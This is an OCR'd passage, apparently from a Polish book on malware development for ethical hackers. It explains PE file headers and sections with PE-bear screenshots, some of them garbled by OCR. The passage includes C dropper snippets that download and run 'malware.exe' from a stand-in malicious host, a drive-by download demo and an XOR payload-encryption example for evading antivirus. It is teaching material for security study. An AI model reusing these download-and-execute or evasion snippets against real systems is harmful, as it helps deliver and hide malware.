File Settings View Compare Info
4 calc.exe “[1% s 81 8 N
C
& D05 <tub L N N o N B S - R 1
d NT Headers o 4D 5A 50 00 03 00 00 00 04 00 00 00 FF FF 00 00
Signature 10 BE 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 | | EEN.
File Header 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 OO | [N
Optional Header 30 60 00 00 00 00 00 00 00 00 00 00 00 DA 00 00 OO | |
Section Headers L
4 Sections 50
a # et &0
= EP = 1216C - - T — —— - ——
o dota Disasm General DOSHdr | Rich Hdr I File Hdr Optional Hdr Section Hdrs " Imporil W)
o rrc Offset Name Value
6 reloc lo Magic number 5A4D
2 Bytes on last page of file 90
4 Pages in file 3
6 Relocations [1}
g Size of header in paragraphs 4
Ila Minimum extra paragraphs needed 0
C Maximum extra paragraphs needed FFFF
E Initial (relative) 55 value 0
10 Initial 5P value B8
12 Checksum 0
14 Initial IP value 0
16 Initial (relative) CS value 0
18 File address of relocation table 40
1A Overlay number 0
1C Reserved words[4] 0,000
2 OEM identifier (for OEM information) 0
26 QEM information; OEM identifier specific 0
28 Reserved words[10] 0000000000
o [ [File address of new oxe header 08 |

Rysunek 1.5. Pole e_Ilfanew

B Poczatkowy program DOS-a. Za 64 pierwszymi bajtami pliku znajduje
poczatkowy program DOS-a (ang. DOS stub). Ten obszar pamieci jest zazwyczaj
w wiekszo$ci wypelniony zerami (patrz rysunek 1.6).

calc.exe x O, - ;
DOS Header g i
@ DOos stub 01 23 45 67 8 9% ABCDETF|0123456789ABCDETF
MT Headers 40 0E 1F BR OE 00 B4 0% CD 21 B2 01 4C CD 21 54 &2 e £ g
Signature 50 €5 73 20 70 T2 €F €7 72 €1 €D 20 €3 €1l €E €E €F r a
File Header 60 74 20 €2 €5 20 72 75 €E 20 €5 €E 20 44 4F 53 20 n .
Optional Header 70 €D €F €4 €5 2E 0D 0D OR 24 00 00 00 00 00 00 00 | Eucu S S,
Section Headers 80 BF DC FB CE FB BD 55 SB FB BD 55 3B FB BD 55 SB
Sechions 90 F2 C5 0O 5B ¥D BD 55 SE FE BD 54 3B D3 BD S5 5B
v 3k text AD EF DE 54 SA F2 BD 55 SB EF DEé 51 SA E BD 55 5B
= EP=CT0 BO EF DE 5¢ SA FS BD 55 SBE EF Dé 5D SA F3 BD 5% 5B
£ rdata CO =F DE 50 5& T3 BD 55 SBE EF DE €A 3B FA BD 35 3B
o .data D0 EF DE 57 SA FA BD 55 SBE 52 €5 €3 €2 FB BD 5§ 5B
o .pdata E0 00 00 00 00 00 00 00 00 50 45 00 00 €4 2 O OO | [N,
i v ek S i s

Rysunek 1.6. Program poczatkowy DOS-a

B Naglowek PE. Ten komponent jest niewielki i zawiera tylko sygnature pliku
ztozong z ,magicznych” bajtéw PE\0\O, czyli 50 45 00 00 (patrz rysunek 1.7).

Jego struktura w jezyku C jest nastepujgca:
typedef struct IMAGE NT HEADERS {

DWORD Signature;
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@ PE-bearv0.5.4 [C:/Windows/System32/calc.exe] ol @ =
File Settings View Compare Info
4 [H calcexe i T~ I B
DOS Header - T B e e e e v ST er e ey PR T
DOS stub | 012 3 45 6 7 8 3% ABCODETF 012345678 %ABCDETF ot
MT Headers iﬂﬁ DG 00 4C 01 04 00 SD 97 E7 4C 00 00 00 00 A s S e [
Slgnature |E8 00 00 00 00 E0 00 02 01 OB 01 09 00 00 ZE 05 OO0 | |
File Header |Fa 00 &6 06 00 00 00 00 00 &C 2D O1 00 00 10 00 00 F OF e RS e Eomety E:
Optmna\Haader :108 00 20 05 00 00 00 00 01 00 10 00 00 00 OZ OO0 OO | |
Section Headers ‘118 06 00 01 00 06 0O 01 00 06 0O 01 0O QO OC OO OO =
4 Sicibne | 128 00 00 OC 00 00 04 00 00 30 BD 0C 00 02 00 40 21 | [N
4 % text |138 00 00 04 00 OO 20 00 00 00 00 10 00 00 10 00 00 = =
=) EP - 1216C | 128 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 | |
,ﬁ .data ‘158 FC 1A 05 00 54 01 00 00 00 SO 05 00 98 27 06 00 | EENEEE
"ﬁ. JISEC 188 00 00 00 00 00 00 00 00 00 00 00 00 00 OO0 OO0 00 | |-
Fﬁ reloc 1178 00 CO OB 00 3C 3B 00 00 44 3C 05 00 38 00 00 00 _ A e B o IR
‘183 00 00 00 00 00 00 00 00 00 00 00 00 00 00 OO0 OO | | > &
1193 00 00 00 00 00 0O 0O OO 30 04 03 00 40 00 00 OO e B e et ted e R et
| 188 70 02 00 00 54 01 00 00 00 10 00 00 30 O6 OO0 OO | |5 s T
- 3 5 - bl
Disasm | General | DOSHdr | RichHdr | FileHdr | OptionalHdr | SectionHdis | ® Imports | ™ ek
Hex Disasm Hint o

Rysunek 1.7. Nagtowek PE

IMAGE_FILE_HEADER FileHeader; // Gtéwny nagtéwek pliku
// z podstawowymi informacjami
IMAGE_OPTIONAL_HEADER32 OptionalHeader; //Opcjonalny nagtéwek pliku
// z dodatkowymi informacjami
} IMAGE_NT HEADERS32, *PIMAGE NT HEADERS32; // Definicja 32-bitowej struktury
// i wskaznika

Zbadajmy bliZej te strukture:

B Naglowek pliku (lub nagléwek COFF). Jest to zbidr p6l opisujacych
podstawowe cechy pliku:

typedef struct IMAGE FILE HEADER {
WORD Machine;
WORD NumberOfSections;
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader;
WORD Characteristics;
} IMAGE_FILE HEADER, *PIMAGE FILE HEADER;

W programie PE-bear (ktory jest dostepny pod adresem https://github.com/
hasherezade/pe-bear, chyba ze uzywasz innego narzedzia) wyglada on tak,
jak pokazano na rysunku 1.8.

B Nagléwek opcjonalny. Jest on opcjonalny w przypadku plikéw obiektowych
COFF, ale nie w przypadku plikéw PE. Struktura ta przechowuje wazne zmienne,
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Kup ksigzke

O FE-bear 054 [/ Windown Sy ttemid e ke eus]

T —m—
+ [ calbme <l= e mm B2 N &
D5 Header a3
B 0ot st 0123485678 3ABCDEF|0123406T8 A"
P —etamd e o 3 30 37 §7 45 00 90 00 00 92 G0 00 90
St s x5 0o 82 o1
File Hoseder s
Opticnal Header 100
Headers ne
11e
1ac
= EP = 1N6C s,
& A it
I e
& o e
10¢
1€
Dittsm | General | DOSHar | RichHdr | FileHar | Optional e | Section Hdrs | iy
et [ Marnd Value Mesning
C Machine 14 Intel 326
Sestions Count 4 4
Tome Date Starep | 479704 Saburdey, 20112030 09-50.45 UTC
Farte Symbel Table [0 ]
um of ymeets [0 ]
Size of peisnalHeader] 0 m
ant Charscteristics 102
2 Fie iz executable fie. no unresabved exbeme..
100 12 bit word machine.

Rysunek 1.8. Nagtowek pliku

takie jak AddressOfEntryPoint, ImageBase, SectionAlignment, SizeOfImage,
SizeOfHeaders i DataDirectory.

Istnieja zaréwno 32-, jak i 64-bitowe wersje tej struktury: https://learn

.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_
header64. W programie PE-bear wyglada ona tak, jak pokazano na rysunku 1.9.

B PE-bane 054 [C/ Wandsu Syt i cade gue] == |
File Semtings View Compaw ledo
4 [ ealeane P s o8 w
005 Hesder a
B oS e
4 N Hesders L
Sigrsture 108
File Header e
Oiptaceul Header a0
Section Meadess 180
4 Sestions 140
W e 180
= [P =106 L
e e
F 180
A e 130
140
™

Distm | Geseral | DOSHdi | Richiide | FileFde | Optional Mdr | Section bides. |

Offeee Haee Valae Walue

Magie e N

Fopd: Genarating fead for posts
+--done In 1.0730438 seconds.

103
Ol @ e cm

Rysunek 1.9. Nagtowek opcjonalny

Chciatem tutaj zwréci¢ uwage na pole IMAGE_DATA DIRECTORY:

typedef struct IMAGE DATA DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA DIRECTORY, *PIMAGE _DATA DIRECTORY;
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Jest to lista informacji. Zawiera ona 16 elementéw, a kazdy z tych elementow
jest struktura dwdéch warto$ci DWORD.

Obecnie pliki PE moga mie¢ nastepujace katalogi danych:
Tabela eksportéw.

Tabela importéw.

Tabela zasobow.

Tabela wyjatkow.

Tabela certyfikatow.

Podstawowa tabela relokacji.
Debugowanie.

Architektura.

Globalne wskazniki.

Tabela TLS.

Tabela konfiguracji wczytywania.
Powigzane importy.

Tabela adreséw importéw.
Deskryptor opdznionych importow.

Nagtéwek srodowiska uruchomieniowego CLR.

Zarezerwowany (musi mie¢ warto$¢ zero).
Jak wspomniatem wcze$niej, doktadniej oméwie tylko niektére z nich.

B Tabela sekcji. Tablica struktur IMAGE_SECTION HEADER, ktére opisuja sekcje
pliku PE, takie jak sekcje .text i .data:

typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
union {
DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
DWORD VirtualAddress;
DWORD SizeOfRawData;
DWORD PointerToRawData;
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics;
} IMAGE_SECTION HEADER, *PIMAGE SECTION HEADER;

Struktura ta zawiera 0x28 bajtow.

B Sekcje. Po tabeli sekcji nastepujg same sekcje (patrz rysunek 1.10).
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0 PE-beer V054 [0 Wi Syabensd Mealc ene] == ek
file Settings WView Compawe info
= =| fac - - - r

BYTL

File Hieader
Optional Header

Misc

Section Hesders
D
ey Sectans
WORD g
R £l = tp s 16¢
WD & s
WD o e B

Addr. Fawsze Virbssl Sddr. Virbual Suze
5200 1000 A
00 00 00
6300 WO00 61798
000 EC00D 3030

wrating feed for posts

-.-done 1n 1048530 seconds.

Rysunek 1.10. Sekcje

Aplikacje nie uzyskuja bezposrednio dostepu do rzeczywistej pamieci; uzywaja
tylko pamieci wirtualnej. Sekcje to fragmenty danych, ktére sa umieszczane
w pamieci wirtualnej i uzywane bezposrednio do wszystkich operacji.
Adres wirtualny (ang. virtual address, VA) to adres w pamieci wirtualnej
bez Zadnego przesuniecia. Innymi stowy, VA to adresy pamieci uzywanej
przez program. W polu ImageBase mozesz okresli¢, gdzie aplikacja powinna
by¢ wczytywana najczescie;j. Jest to co$ w rodzaju punktu w pamieci wirtualnej,
od ktérego zaczyna sie program. Wzgledne adresy wirtualne (ang. relative
virtual address, RVA) sa mierzone od tego punktu. RVA mozna obliczy¢ ze wzoru:
RVA = VA-ImageBase. W tym przypadku zawsze znamy ImageBase, a jesli znamy
albo adres VA, albo RVA, mozemy okresli¢ jeden na podstawie drugiego.

Tabela sekcji ustawia rozmiary wszystkich sekcji, wiec kazda sekcja musi mie¢
okres$lony rozmiar. W tym celu do sekcji dodaje sie bajty NULL (00).

W systemie Windows NT aplikacja zwykle ma rézne sekcje, takie jak .text,

.bss, .rdata, .datai .rsrc. W zalezno$ci od aplikacji jedne z tych sekcji

S3 uzywane, a inne nie:

m .text. W systemie Windows caly kod programu znajduje sie w sekcji
0 nazwie .text.

m .rdata. Dane przeznaczone tylko do odczytu, takie jak taiicuchy tekstu
i state, znajduja sie w sekcji o nazwie . rdata.

®m .rsrc. Sekcja ta zawiera informacje o zasobach. Czesto s3 to ikony i obrazy
bedace czescig zasobéw aplikacji. Zaczyna sie od struktury katalogu
zasobow, podobnie jak inne sekcje, ale dane w tej sekcji sg rowniez
zorganizowane w drzewie zasob6w. Pokazana nizej struktura
IMAGE_RESOURCE_DIRECTORY reprezentuje Korzen i licie drzewa:
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typedef struct IMAGE RESOURCE_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
WORD NumberOfNamedEntries;
WORD NumberOfIdEntries;
} IMAGE_RESOURCE_DIRECTORY, *PIMAGE RESOURCE_DIRECTORY;

m .edata. Dane eksportu dla pliku wykonywalnego lub biblioteki DLL
sa przechowywane w sekcji .edata. Jesli plik zawiera te sekcje, znajduje
sie w niej katalog eksportu, ktéry pozwala dosta¢ sie do informacji
eksportowych. Struktura IMAGE_EXPORT DIRECTORY wyglada nastepujaco:

typedef struct IMAGE_EXPORT DIRECTORY {
ULONG Characteristics;

ULONG TimeDateStamp;

USHORT MajorVersion;

USHORT MinorVersion;

ULONG Name;

ULONG Base;

ULONG NumberOfFunctions;

ULONG NumberOfNames;

PULONG *AddressOfFunctions;

PULONG *AddressOfNames;

PUSHORT *AddressOfNameOrdinals;

} IMAGE_EXPORT DIRECTORY, *PIMAGE EXPORT DIRECTORY;

Biblioteki DLL zwykle eksportujg symbole, ale moga réwniez je importowac.
Gléwnym celem tabeli eksportu jest powiazanie nazw i (lub) liczb
eksportowanych funkcji z ich adresami RVA albo pozycja na karcie pamieci
procesu.

B Tabela importu adreséw. Tabela ta sktada sie ze wskaznikéw do funkcji
i stuzy do wyszukiwania nazw funkcji podczas wczytywania bibliotek DLL.
Aplikacje mozna skompilowac tak, Ze wywotania API nie uzywaja bezposrednich,
zakodowanych na sztywno adreséw, a zamiast tego korzystaja ze wskaznika
do funkcji.

Istniejg pewne réznice miedzy pisaniem kodu C dla plikow wykonywalnych (exe)
i bibliotek dotgczanych dynamicznie (DLL). Gtéwng réznicg jest sposéb wywotywania
kodu w module lub programie.

W pliku exe powinna znajdowac¢ sie metoda o nazwie main, ktérag wywotuje program
wczytujacy systemu operacyjnego, kiedy nowy proces jest gotowy do dziatania. Twoj
program zaczyna wykonywac sie natychmiast po tym, jak program wczytujgcy zakon-
czy swoje zadanie.

Kiedy jednak wykonujesz aplikacje jako biblioteke dynamiczng, program wczytujacy
skonfigurowat juz proces w pamieci, a proces ten potrzebuje Twojej biblioteki DLL
(albo dowolnej innej), by¢é moze ze wzgledu na zadania, ktére wykonuje ta biblioteka.
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Zatem plik exe potrzebuje funkcji o nazwie main, a biblioteki DLL potrzebujg funkcji
o nazwie D11Main. Zasadniczo jest to jedyna istotna réznica.

Praktyczny przykiad

Utworzmy prosta biblioteke DLL. Aby nie komplikowa¢ spraw, napiszemy biblioteke,
ktéra po prostu pokazuje okno komunikatu:
/*
* Tworzenie ztosliwego oprogramowania dla etycznych hakeréw
*hack4.c
* Prosta biblioteka DLL
*autor: @cocomelonc
v
#include <windows.h>
#pragma comment (1ib, "user32.1ib")

BOOL APIENTRY D11Main(HMODULE moduleHandle, DWORD actionReason,
>LPVOID reservedPointer) {
switch (actionReason) {
case DLL_PROCESS_ATTACH:

MessageBox (
NULL,
"Hello from evil.d11!",
MB_OK
)s
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD ATTACH:
break;
case DLL_THREAD DETACH:
break;

}
return TRUE;

}

Nasza biblioteka zawiera tylko D11Main, czyli gtéwna metode biblioteki DLL. W przeci-
wienstwie do wiekszos$ci innych bibliotek DLL ta nie wymienia zadnych eksportowa-
nych wywotan. Kod D11Main jest wykonywany natychmiast po wczytaniu biblioteki do
pamieci.

Przy pierwszym kontakcie struktury PE (w tym nagtéwki PE) moga wydawac sie nie-
zrozumiate. Zadna z podstawowych czesci tej ksigzki nie wymaga gtebokiej znajo-
modSci struktury PE. Aby jednak pisa¢ ztoSliwe oprogramowanie, ktore postuguje sie
bardziej ztozonymi technikami, trzeba bedzie poznac jg blizej, poniewaz niektére z nich
wymagaja parsowania nagtéwkow i sekcji pliku PE. Przekonasz sie o tym w nastepnych
rozdziatach.
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Sztuka oszukiwania systemu ofiary

Teraz podamy kilka prostych przyktadéw technik dostarczania ztosliwego oprogra-
mowania. Zauwaz, ze s to uproszczone koncepcje i przyktady; rzeczywisty malware
czesto uzywa bardziej wyrafinowanych strategii i technik unikania wykrycia, ktére
poznasz w dalszych rozdziatach.

Pobieranie i wykonywanie zlosliwego oprogramowania ze zdalnego serwera.
Z1os$liwe oprogramowanie moze by¢ przechowywane w zdalnym serwerze, a do pobra-
nia i wykonania go uzywa sie programu ,zrzucajgcego” (ang. dropper):
#include <windows.h>
#include <urlmon.h>
#pragma comment(1ib, "urlmon.lib")
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR 1pCmdLine, int nCmdShow) {
URLDownloadToFile(NULL, "http://maliciouswebsite.com/malware.exe",
S>"C:\\temp\\malware.exe", 0, NULL);
ShellExecute(NULL, "open", "C:\\temp\\malware.exe", NULL, NULL,
>SW_SHOWNORMAL) ;
return 0;

}

Pobieranie ,,w przejezdzie” (ang. drive-by download). Kiedy uzytkownik odwiedza
witryne internetowa ze zto$liwym skryptem, skrypt moze wysta¢ plik wykonywalny
z malware’em do komputera uzytkownika i go wykonac¢. Zwykle dziatanie takie prze-
prowadza sie przy uzyciu jezyka JavaScript w witrynie internetowej, ale technike te
mozna réwniez zademonstrowac za pomocg prostego programu C:

#include <windows.h>

#include <urlmon.h>

#pragma comment(1ib, "urImon.1ib")

int main() {
// Wykonanie programu moze zosta¢ zainicjowane przez odwiedzenie witryny,
// ktéra powoduje wykonanie skryptu takiego jak ten.
URLDownloadToFile(NULL, "http://maliciouswebsite.com/malware.exe",
<>"C:\\temp\\malware.exe", 0, NULL);
WinExec("C:\\temp\\malware.exe", SW_SHOW);
return 0;

}

B Techniki unikania antywiruséw (AV) oraz systemoéw detekcji i reakcji
(EDR). Efektywnym sposobem unikania antywiruséw jest uzycie szyfrowania.
Moze to polegac na szyfrowaniu tadunku (rzeczywistego zto$liwego kodu)
i odszyfrowywaniu go tuz przed wykonaniem. Koncepcje te ilustruje ponizszy
bardzo uproszczony przyktad:

#include <windows.h>
#include <stdio.h>
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// Funkcja przeprowadzajqca proste szyfrowanie/deszyfrowanie XOR
void xor_encrypt decrypt(char* input, char key) {
char* iterator = input;
while(*iterator) {
*iterator *= key;
iterator++;
}
}

int main() {
char payload[] = "<MALICIOUS PAYLOAD>";
printf("original payload: %s\n", payload);

// Szyfrujemy tadunek
xor_encrypt_decrypt(payload, 'K');
printf("encrypted payload: %s\n", payload);

// W tym momencie tadunek moze nie zosta¢ rozpoznany przez AV
// Kiedy jesteSmy gotowi do wykonania tadunku, odszyfrowujemy go
xor_encrypt decrypt(payload, 'K');

printf("decrypted payload: %s\n", payload);

// Teraz mozemy wykona¢ nasz tadunek...
hack();
return 0;

}

B Ransomware. Ransomware to zto$liwe oprogramowanie, ktére szyfruje
pliki ofiary. Napastnik nastepnie domaga sie okupu za przywrdécenie dostepu
do danych. Ataki ransomware’owe sg zwykle motywowane finansowo,

a w przeciwienstwie do innych atakow ofiara jest zwykle informowana
o wlamaniu i otrzymuje instrukcje przywraécenia plikéw. Aby ukry¢ swojg
tozsamos$¢, napastnicy czesto domagaja sie ptatnosci w walucie wirtualnej,
takiej jak bitcoin. Ataki ransomware’owe bywaja niszczycielskie, poniewaz
moga prowadzi¢ do utraty wrazliwych lub zastrzezonych danych, zaklécenia
zwyktej dziatalnosci, strat finansowych zwiazanych z przywracaniem systemow
i plikobw oraz potencjalnych szkdéd na reputacji. Tworzenie prawdziwego
ransomware’u jest nielegalne i nieetyczne, wiec nie pokaze tu przyktadu.
Co godne uwagi, zasady tworzenia ztosliwego oprogramowania na uzytek
bezpieczenstwa ofensywnego jawnie zabraniajg rozpowszechniania
szkodliwych tresci.

Uproszczony przyktad szyfrowania plikéw z uzyciem Windows API, ktére jest
typowym sktadnikiem atakéw ransomware’owych, znajdziesz pod adresem
https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/
blob/main/chapter01/05-ransom-test/hack5.c.

Jest to prosty przyktad, ktory demonstruje szyfrowanie pliku, czyli jedna
z operacji wykonywanych przez ransomware. Nie obejmuje on jednak innych
elementow, takich jak powiadamianie uzytkownika, zagdania okupu, zarzadzanie
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kluczami (i co istotne, niszczenie kluczy), rozprzestrzenianie sie przez sie¢
oraz mechanizmy persystencji i unikania wykrycia. Ponadto nie uzywa on
bezpiecznej metody szyfrowania. W dalszych rozdziatach przeanalizujemy
kod zrédtowy prawdziwego ransomware’u.

Tworzenie ztosliwego oprogramowania niczym nie r6zni sie od pisania zwyktego opro-
gramowania i rGwniez ma swoje sekrety oraz najlepsze praktyki. W tej ksigzce spro-
buje opisac¢ kluczowe triki i techniki.

Podsumowanie

W $wiecie etycznego hakowania wiedza o tym, jak tworzy sie ztosliwe oprogramowa-
nie, jest istotng i ztozZong umiejetnoscig wykraczajgca poza samo pisanie kodu. Etyczne
tworzenie malware’u obejmuje symulowanie, analizowanie i badanie ztosliwego opro-
gramowania w celu odkrycia sztuczek i technik stosowanych przez hakeréw, wzmoc-
nienia mechanizmoéw obronnych i zyskania wgladu w potencjalne zagrozenia.

Poprzez symulowanie zto$liwego oprogramowania etyczni hakerzy moga opracowaé
niezawodne $rodki bezpieczenistwa i zabezpieczy¢ sie przed przysztymi atakami. Mozna
na przyktad napisa¢ w jezyku C prosty keylogger do rejestrowania nacis$nie¢ klawi-
szy, ktory ilustruje, jak malware potajemnie gromadzi wrazliwe informacje. Innym przy-
ktadem moze by¢ napisanie w jezyku C++ fagodnego robaka, ktory rozprzestrzenia sie
przez sie¢, aby pokaza¢ drogi infekcji oraz podkresli¢ znaczenie bezpieczenstwa sieci.

Badajac te i inne przyktady, potozymy fundament pod zrozumienie ztosliwego oprogra-
mowania z perspektywy etyki, odpowiedzialnych praktyk oraz przestrzegania prawa,
a takze kluczowej roli, jaka ta wiedza odgrywa w zabezpieczaniu wspotczesnych syste-
moéw cyfrowych przed coraz bardziej wyrafinowanymi zagrozeniami.

W nastepnym rozdziale przyjrzymy sie réznym technikom iniekcyjnym, jednemu z kla-
sycznych trikdw uzywanych w tworzeniu ztosliwego oprogramowania.
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Skuteczne wzmacnianie cyberbezpieczeristwa wymaga wiedzy o sposobach dziatania hackeréow.
Zaden analityk ztosliwego oprogramowania, pentester czy towca zagrozer nie obejdzie sie bez wiedzy
o budowie malware ani bez umiejetnosci programowania ofensywnego. Innymi stowy, jesli chcesz po-
prawic¢ bezpieczeristwo IT w swojej organizacji, musisz dobrze zna¢ narzedzia, taktyki i techniki
uzZywane przez cyberprzestepcow.

Ta ksiazka jest kompleksowym przewodnikiem po ciemnej stronie cyberbezpieczeristwa — zapewni Ci
wiedze i umiejetnosci niezbedne do skutecznego zwalczania ztosliwego oprogramowania. Nauczysz sie
poruszac¢ wsrod zawitosci zwiazanych z tworzeniem ztosliwego oprogramowania, a takze dobrze

poznasz techniki i strategie stosowane przez cyberprzestepcow. Zdobedziesz tez praktyczne doswiad-
czenie w projektowaniu i implementowaniu popularnych rozwiazan stosowanych w prawdziwych

ztosliwych aplikacjach, na przyktad Carbanak, Carberp, Stuxnet, Conti, Babuk i BlackCat. Nie zabrakio
tu zasad etycznego hackingu i tajnikow budowy ztosliwego oprogramowania, jak techniki unikania
wykrycia, mechanizmy persystencji i wiele innych, ktére poznasz dzieki lekturze.
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» sposob myslenia twdrcow ztosliwego oprogramowania

» techniki stosowane w réznych rodzajach malware

* dane z mediéw spotecznosciowych a OSINT

» rekonstrukcja atakow APT

* metody obchodzenia mechanizméw bezpieczenstwa
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* matematyczne podstawy wspoéiczesnego ztosliwego oprogramowania
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